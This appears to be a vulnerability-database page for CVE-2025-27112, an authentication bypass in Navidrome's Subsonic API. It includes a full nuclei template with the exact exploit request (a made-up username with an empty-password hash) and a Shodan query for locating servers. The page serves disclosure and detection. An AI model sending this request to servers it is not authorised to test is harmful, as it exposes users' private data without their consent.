HexBrain

Browse / CVEs / CVE-2025-27112

CVE-2025-27112· navidrome / navidrome· CWE-287

Navidrome <=0.54.5 - Authentication Bypass in Subsonic API

mediumseverity
6.5CVSS score
1%likelihood of exploitation, next 30 days
63%of all CVEs are less likely
Readycheck to confirm it

Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a "permission denied" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.

Impact

Attackers can bypass authentication using non-existent usernames and empty password hashes to gain read-only access to user playlists and other data through Subsonic API endpoints.

Fix

Upgrade to Navidrome version 0.54.5 or later that properly validates authentication credentials.

How to confirm it

Send: GET /rest/getPlaylists?u=FakeUser&t={{md5(username)}}&s={{username}}&v=1.16.1&c=castafiore&f=json
Positive when: contains "\"status\":\"ok\"" and "navidrome" and "subsonic-response"

Run it with nuclei: nuclei -id CVE-2025-27112 -u <target>

The full check
id: CVE-2025-27112

info:
  name: Navidrome <=0.54.5 - Authentication Bypass in Subsonic API
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a "permission denied" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.
  impact: |
    Attackers can bypass authentication using non-existent usernames and empty password hashes to gain read-only access to user playlists and other data through Subsonic API endpoints.
  remediation: |
    Upgrade to Navidrome version 0.54.5 or later that properly validates authentication credentials.
  reference:
    - https://github.com/advisories/GHSA-c3p4-vm8f-386p
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-27112
    cwe-id: CWE-287
    epss-score: 0.00982
    epss-percentile: 0.62588
    cpe: cpe:2.3:a:navidrome:navidrome:*:*:*:*:*:go:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: navidrome
    product: navidrome
    framework: go
    shodan-query: html:"content="Navidrome""
  tags: cve,cve2025,navidrome,vkev,vuln

variables:
  username: "{{randstr}}"

http:
  - raw:
      - |
        GET /rest/getPlaylists?u=FakeUser&t={{md5(username)}}&s={{username}}&v=1.16.1&c=castafiore&f=json HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36

    matchers:
      - type: word
        part: body
        words:
          - '"status":"ok"'
          - 'navidrome'
          - 'subsonic-response'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from